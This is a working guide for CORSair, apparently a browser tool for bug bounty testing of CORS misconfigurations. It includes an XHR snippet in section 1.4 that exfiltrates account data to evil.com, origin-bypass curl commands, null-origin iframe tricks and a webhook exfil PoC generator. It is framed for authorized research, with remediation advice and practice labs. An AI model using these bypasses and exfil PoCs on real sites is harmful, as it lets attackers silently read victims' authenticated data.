

CORSair

Cross-Origin Request Security Analysis & Intelligence Reporter
v3.0.0 | Working Guide & Testing Methodology

By Pratik Khairnar -- Security Researcher | Bug Bounty Hunter | Penetration Tester
github.com/pratik-khairnar-sec/CORSair

Telegram Integration

Smart PoC Naming

HTML Report

WAF Detection

Batch Scanner

Bypass Matrix

Exfil PoC

iframe PoC

LEGAL NOTICE: Authorized penetration testing, bug bounty research within scope, and security education only. Unauthorized use is illegal under CFAA (US), Computer Misuse Act (UK), IT Act 2000 (India). Author bears zero liability for misuse.

Table of Contents

1. What is CORS? -- A Security Primer
2. Setting Up CORSair
3. Feature-by-Feature Guide
4. Testing Methodology (Step-by-Step)
5. CORS Misconfiguration Patterns
6. Legal Bug Bounty Programs -- Target Catalog
7. Safe Practice Lab Environments
8. Bug Bounty Report Writing Guide
9. Telegram Integration Setup
10. Common Mistakes & How to Avoid Them
11. References & Further Reading

1. What is CORS? -- A Security Primer

1.1 The Same-Origin Policy

Browsers enforce the Same-Origin Policy (SOP) -- a security rule that prevents a web page from reading responses from a different origin (protocol + domain + port). Without SOP, any website you visit could silently make authenticated requests to every other site you are logged into.

1.2 What is CORS?

CORS lets servers relax the SOP for specific trusted origins via Access-Control-* response headers. The browser checks these headers before allowing JS to read the response.

1.3 Critical CORS Headers

Access-Control-Allow-Origin (ACAO)

Which origins can read the response. Values: specific origin, *, or null

Access-Control-Allow-Credentials (ACAC)

Whether cookies/auth headers are sent cross-origin. Values: true or false

Access-Control-Allow-Methods

Which HTTP methods are allowed cross-origin

Access-Control-Allow-Headers

Which request headers are allowed cross-origin

Access-Control-Expose-Headers

Which response headers JS can read cross-origin

Vary: Origin

Tells caches to store separate responses per Origin value

1.4 Why CORS Misconfigurations Are Critical

A CORS misconfiguration lets an attacker page read authenticated API responses silently. Attack scenario:

Victim visits: `https://evil.com/poc.html` (while logged into `https://api.bank.com`)

`poc.html` silently fires:

```
xhr.withCredentials = true;    // victim cookies auto-included
xhr.open("GET", "https://api.bank.com/account/balance");
xhr.onload = function(){ exfiltrate(this.responseText); };
```

If ACAO: `https://evil.com` + ACAC: `true` --> victim balance stolen.

No user interaction beyond visiting `evil.com` is required.

WARNING: CORS is a browser-side READ restriction only. The request still fires server-side. CORS does not replace server-side authentication.

2. Setting Up CORSair

2.1 Requirements

- * Modern browser: Chrome 90+, Firefox 88+, Edge 90+, Safari 15+
- * No installation, no Node.js, no Python, no dependencies
- * Single HTML file: CORSair.html (~107KB, fully self-contained)

2.2 Recommended Setup

Option 1 -- Local server (recommended for local testing):

```
python3 -m http.server 8080
# Open: http://localhost:8080/CORSair.html
# Your Origin: http://localhost:8080
```

Option 2 -- VPS (recommended for bug bounty):

```
scp CORSair.html user@server.com:/var/www/html/
# Open: https://yourserver.com/CORSair.html
# Your Origin = your server domain = realistic attacker-page scenario
```

INFO: GitHub Pages (free): Push CORSair.html to a repo, enable Pages. Your github.io domain becomes the attacker Origin -- most convincing for bug bounty reports.

2.3 Local Vulnerable Lab for Testing

```
# Save as cors_lab.py, run: python3 cors_lab.py
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        origin = self.headers.get("Origin", "")
        self.send_response(200)
        self.send_header("Access-Control-Allow-Origin", origin) # MISCONFIGURED
        self.send_header("Access-Control-Allow-Credentials", "true")
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(b'{"user": "victim", "token": "secret123"}')
HTTPServer(("0.0.0.0", 9090), H).serve_forever()
# Test: http://localhost:9090/api/user -- CORSair should show CRITICAL
```

3. Feature-by-Feature Guide

Probe Tab

- * Auth Presets: JWT Bearer, API Key, Basic Auth, Cookie -- one click fills right header
- * withCredentials ON: sends cookies + auth headers cross-origin -- key CORS test signal
- * Auto Preflight: fires OPTIONS first -- shows server CORS policy claims vs reality
- * Authorization checkbox: must be checked before Launch -- non-bypassable ethical guardrail

Response Tab

- * Format toggle: Raw, JSON (syntax-highlighted), Source
- * Compare without credentials: side-by-side diff proves credential-gating
- * Status badges: HTTP code, timing, credential mode, CORS allow/block verdict

Analysis Tab

- * Verdict box: CRITICAL/HIGH/MEDIUM/LOW/INFO/SECURE with plain-English explanation
- * WAF/CDN Detection: 8 signatures -- Cloudflare, AWS, Akamai, Imperva, Fastly, Nginx, Apache, ModSecurity
- * Security Headers Inspector: CSP, HSTS, COEP, COOP, CORP, X-Frame-Options traffic-light
- * CORS Bypass Matrix: 10 origin variants auto-generated, each with one-click cURL copy
- * Remediation: actionable fix checklist keyed to detected severity

PoC Gen Tab

- * HTML PoC: XHR probe -- filename = target-domain_cors_poc.html
- * Exfil PoC: fetch POST -> sendBeacon -> img.src triple fallback -- webhook configurable
- * iframe null: sandboxed iframe for null origin bypass
- * HTML Report: professional print-to-PDF report -- target-domain_cors_report.html
- * Bug Report: Markdown with CVSS, impact, repro, remediation -- target-domain_cors_report.md

Telegram Tab

- * Test Connection: verify bot token + chat ID with a test message
- * Send All: summary + HTML PoC + Exfil PoC + HTML Report + Bug Report in one click
- * All files named after target domain in Telegram delivery

Batch Tab

- * Paste up to 50 URLs -- sequential scan with configurable delay
- * READABLE = response accessible cross-origin = potential CORS misconfiguration
- * BLOCKED = correctly configured from your origin (use Bypass Matrix via cURL)
- * Export JSON: structured batch results for documentation

4. Testing Methodology (Step-by-Step)

Phase 1 -- Reconnaissance

- * Browse target authenticated -- DevTools Network tab -- filter Fetch/XHR
- * Note all /api/v*/user, /me, /profile, /account endpoints returning user data
- * Quick manual check: `curl -si -H "Origin: https://evil.com" URL | grep -i access-control`

Phase 2 -- Initial Probe

1. Enter endpoint URL in Probe tab
2. Method: GET (start here)
3. withCredentials: ON
4. Auth Preset: add JWT or session cookie
5. Confirm authorization -> Launch CORS Probe
6. Analysis tab -> note severity

CRITICAL/HIGH = document and report. BLOCKED = move to bypass phase. No CORS headers = try other endpoints.

Phase 3 -- Origin Bypass Testing

```
# Analysis tab -> CORS Bypass Matrix -> copy each cURL command
curl -si -H "Origin: https://trusted.com.evil.com" https://api.target.com/endpoint
| grep -i access-control

# BLOCKED from CORSair does NOT mean secure.
# The endpoint may be vulnerable from a different origin.
# Test all 10 bypass variants before concluding endpoint is safe.
```

Phase 4 -- Credential Impact

- * Click Compare without credentials in Response tab
- * If credentialed response longer: auth-gated data confirmed
- * Document exactly which sensitive fields are in the credentialed response
- * Screenshot both responses for report

Phase 5 -- PoC and Report

```
PoC Gen -> HTML PoC -> Download (target-domain_cors_poc.html)
PoC Gen -> Exfil -> add webhook.site URL -> Download exfil PoC
PoC Gen -> HTML Report -> Download -> open -> Ctrl+P -> Save as PDF
Telegram tab -> Send All -> instant delivery
Submit: attach PoC + PDF + screenshots to bug bounty platform
```

5. CORS Misconfiguration Patterns

Pattern 1: Origin Reflection (CRITICAL)

Server reflects any incoming Origin directly into ACAO response header.

```
# Vulnerable code:
if (origin.endsWith(".trusted.com")) { acao = origin; }

# Bypass: Origin: https://trusted.com.evil.com -> reflected -> CRITICAL
```

Fix:

Use exact match validation against a hardcoded allowlist. Never use endsWith/startsWith.

Pattern 2: Wildcard + Credentials (SPEC VIOLATION)

ACA0: * with ACAC: true violates CORS spec. Browsers block but signals broken implementation.

```
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
# Non-browser clients (curl, Postman, mobile apps) may bypass browser enforcement.
```

Fix:

Use specific trusted origin. Never combine wildcard with ACAC: true.

Pattern 3: null Origin (HIGH)

Server whitelists literal string "null". Exploitable via sandboxed iframes from any domain.

```
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
# Exploit: <iframe sandbox="allow-scripts"> -> Origin: null -> server accepts
```

Fix:

Remove null from CORS allowlists entirely.

Pattern 4: Subdomain Wildcard (HIGH)

Server allows all subdomains. Attacker registers or compromises one subdomain.

```
if (origin.endsWith(".trusted.com")) { acao = origin; }
# Bypass: register cors.trusted.com or XSS dev.trusted.com -> CRITICAL
```

Fix:

Enumerate all subdomains explicitly. Never use wildcard subdomain matching.

Pattern 5: Missing Vary: Origin (MEDIUM)

Server sets CORS dynamically but omits Vary: Origin. CDN serves cached CORS to wrong origins.

```
# No Vary: Origin -> CDN caches ACA0: https://evil.com response
# Legitimate user then receives ACA0: https://evil.com from cache
```

Fix:

Always add Vary: Origin to dynamically-set CORS responses.

6. Legal Bug Bounty Programs -- Target Catalog

WARNING: Always verify the **CURRENT** scope before testing. Scopes change. Read the program policy page before touching any target.

6.1 Bug Bounty Platforms

HackerOne	hackerone.com	Largest public platform. Hundreds of programs. Hacktivity shows public reports.
Bugcrowd	bugcrowd.com	Strong enterprise programs. Has Vulnerability Taxonomy defining CORS ratings.
Intigriti	intigriti.com	European platform. GDPR-aware programs. CORS + PII = high severity.
Synack	synack.com	Invite-only, vetted researchers. Higher payouts.
YesWeHack	yeswehack.com	European platform. Good for intermediate researchers.
Open Bug Bounty	openbugbounty.org	Non-monetary responsible disclosure. Good for portfolio.

6.2 High-Value Program Types

SaaS / API-first	Heavy API usage = high CORS probability on private endpoints.
Fintech	Account data, transaction APIs. High impact on authenticated endpoints.
Healthcare / HealthTech	PHI exposure makes CORS findings extremely high severity.
E-commerce	Order history, payment methods. PCI scope adds severity.
Developer tools	API keys, credentials, code -- high-value targets.

6.3 Finding In-Scope CORS Endpoints

```
# 1. Read entire scope definition -- note every in-scope domain
# 2. Browse app authenticated with DevTools Network tab open
# 3. Filter Fetch/XHR -- note all /api/ endpoints
# 4. Quick header check:
curl -si -H "Origin: https://evil.com" https://api.target.com/v1/user \
  | grep -i access-control
# 5. If ACAO + ACAC present --> test with CORSair
```

7. Safe Practice Lab Environments

PortSwigger Web Security Academy

portswigger.net/web-security/cors

Best free CORS labs. 6 interactive labs, no install, browser-based. START HERE.

DVWA (Damn Vulnerable Web App)

github.com/digininja/DVWA

`docker run -p 80:80 vulnerables/web-dvwa` -- General web vuln practice.

bWAPP

itsecgames.com

Has CORS-specific test cases at `/bWAPP/cors.php` -- deliberately misconfigured.

WebGoat (OWASP)

owasp.org/www-project-webgoat

`docker run -p 8080:8080 webgoat/goat-and-wolf` -- Has CORS lessons.

Juice Shop (OWASP)

owasp.org/www-project-juice-shop

`docker run -p 3000:3000 bkimminich/juice-shop` -- Modern SPA API testing.

HackTheBox

hackthebox.com

Real machine scenarios. Search "CORS" in write-ups for specific practice.

TryHackMe

tryhackme.com

Guided rooms for all levels. Search "CORS". Free tier available.

PentesterLab

pentesterlab.com

Dedicated CORS exercises. Free badge for basic labs.

8. Bug Bounty Report Writing Guide

8.1 CVSS v3.1 Estimates

Critical (reflected + ACAC: true)	AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N	8.1
High (specific origin + ACAC: true)	AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N	6.5
High (null origin + ACAC: true)	AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N	5.7
Medium (wildcard, no credentials)	AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N	5.3
Low (specific, no credentials)	AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N	3.1

8.2 Strong vs Weak Impact Statements

WEAK (rejected by most programs):

"This vulnerability allows an attacker to access user data."

STRONG (accepted, higher payout):

"An attacker hosting <https://evil.com/poc.html> convinces an authenticated victim to visit it. A silent GET fires to <https://api.target.com/v1/user/profile> with victim cookies. Server returns: name, email, phone, billing address, last-4 card. No interaction beyond visiting the URL is required."

8.3 Common Rejection Reasons

Informative -- cannot reproduce

Fix: Include working cURL. Test it yourself first.

Out of scope

Fix: Read every URL in scope. Double-check before testing.

Duplicate

Fix: Check Hacktivity / disclosed reports for the program.

Low severity on wildcard

Fix: Show endpoint returns sensitive unauthenticated data.

No real impact

Fix: Include actual response content (PII replaced with [REDACTED]).

9. Telegram Integration Setup

9.1 Create Your Bot (2 minutes)

```
Step 1: Open Telegram -> search @BotFather -> send /newbot
Step 2: Name: CORSair Alerts
Step 3: Username: corsair_yourname_bot
Step 4: Copy the Bot Token (1234567890:AAxxxx...)
```

IMPORTANT: Never share your Bot Token.

Revoke it at any time: @BotFather -> /revoke

9.2 Get Your Chat ID

```
# Personal: search @userinfobot -> any message -> copy your ID (e.g. 123456789)

# Group: add bot -> send message -> browser:
https://api.telegram.org/bot<TOKEN>/getUpdates
Look for: "chat":{"id":-1001234567890}
```

9.3 What Gets Sent (all files named after target domain)

- * Text summary: severity, target, CORS headers, verdict, timestamp
- * target-domain_cors_poc.html -- Standard PoC file
- * target-domain_cors_exfil_poc.html -- Exfil PoC (if webhook URL configured)
- * target-domain_cors_report.html -- Professional HTML security report
- * target-domain_cors_report.md -- Markdown bug report

9.4 30-Second Workflow

1. Run probe -> CRITICAL in Analysis tab
2. PoC Gen -> Exfil -> paste webhook.site URL
3. Telegram tab -> Bot Token + Chat ID (first time only)
4. Click Send All to Telegram
5. Receive message + 4 named files in Telegram
6. HTML Report -> Ctrl+P -> Save as PDF
7. Attach PDF + PoC to bug bounty submission

10. Common Mistakes & How to Avoid Them

1. Testing from file:// filesystem

Why: Origin: null sent. Most servers block null. Use localhost.

Fix: `python3 -m http.server 8080 --` takes 5 seconds.

2. Not reading scope before testing

Why: Risk of out-of-scope testing = legal exposure + program ban.

Fix: Read entire scope definition. Confirm auth checkbox honestly.

3. Reporting wildcard without credentials as HIGH

Why: Cannot leak session data. Programs mark informative.

Fix: Show endpoint returns sensitive data without cookies. Document specific fields.

4. No cURL command in report

Why: Triager cannot reproduce without your browser session.

Fix: Always include cURL with custom Origin header. Test it yourself first.

5. Missing Vary: Origin from remediation

Why: Incomplete fix. Report may be re-opened.

Fix: CORSair flags this automatically. Include in remediation section.

6. Including real PII in screenshots

Why: Privacy violation -- programs have strict data handling rules.

Fix: Test on your own account. Replace PII with [REDACTED] in all screenshots.

7. Batch scanning with no delay

Why: Rate limiting, WAF alerts, unintended server impact.

Fix: Use 500ms+ delay in Batch tab. Never batch admin endpoints.

8. Ignoring WAF detection

Why: WAF may block your test even if vulnerability exists elsewhere.

Fix: Read WAF note in Analysis. Test bypass matrix from different IPs.

11. References & Further Reading

OWASP WSTG -- CORS Testing

<https://owasp.org/www-project-web-security-testing-guide/...>

Authoritative OWASP guide for CORS. All test cases with expected results.

PortSwigger CORS Labs

<https://portswigger.net/web-security/cors>

6 interactive labs. Best free hands-on resource. Start here.

MDN -- Cross-Origin Resource Sharing

<https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS>

Definitive browser-side CORS reference.

Fetch Living Standard -- CORS Protocol

<https://fetch.spec.whatwg.org/#cors-protocol>

Actual spec browser vendors implement.

James Kettle -- CORS Research Paper

<https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties>

Foundational CORS exploitation research. Required reading.

CVSS v3.1 Calculator

<https://www.first.org/cvss/calculator/3.1>

Official CVSS calculator for precise scores.

HackerOne Hacktivity

<https://hackerone.com/hacktivity>

Public disclosed reports. Search "CORS" to see real accepted submissions.

Bugcrowd Vulnerability Taxonomy

<https://bugcrowd.com/vulnerability-rating-taxonomy>

How Bugcrowd rates CORS findings.

CORSair v3.0.0

Cross-Origin Request Security Analysis & Intelligence Reporter

By Pratik Khairnar

github.com/pratik-khairnar-sec/CORSair

This working guide is for authorized security testing, bug bounty research within defined program scope, and security education only.

The author assumes zero liability for misuse.